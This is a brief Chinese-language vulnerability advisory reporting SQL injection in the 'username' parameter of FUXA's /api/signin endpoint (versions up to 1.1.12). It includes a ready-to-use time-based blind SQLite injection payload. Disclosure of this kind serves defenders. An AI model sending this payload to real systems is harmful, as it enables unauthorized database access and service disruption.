可以通过 HTTP POST 请求向 /api/signin 端点的 JSON 参数 "username" 注入 SQL 代码。
{"username":"test' OR 2891=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- ZJMj","password":"test"}
受影响产品名称: FUXA
受影响版本: <= 1.1.12
问题: SQL 注入
描述: 可以通过 HTTP POST 请求向 /api/signin 端点的 JSON 参数 "username" 注入 SQL 代码。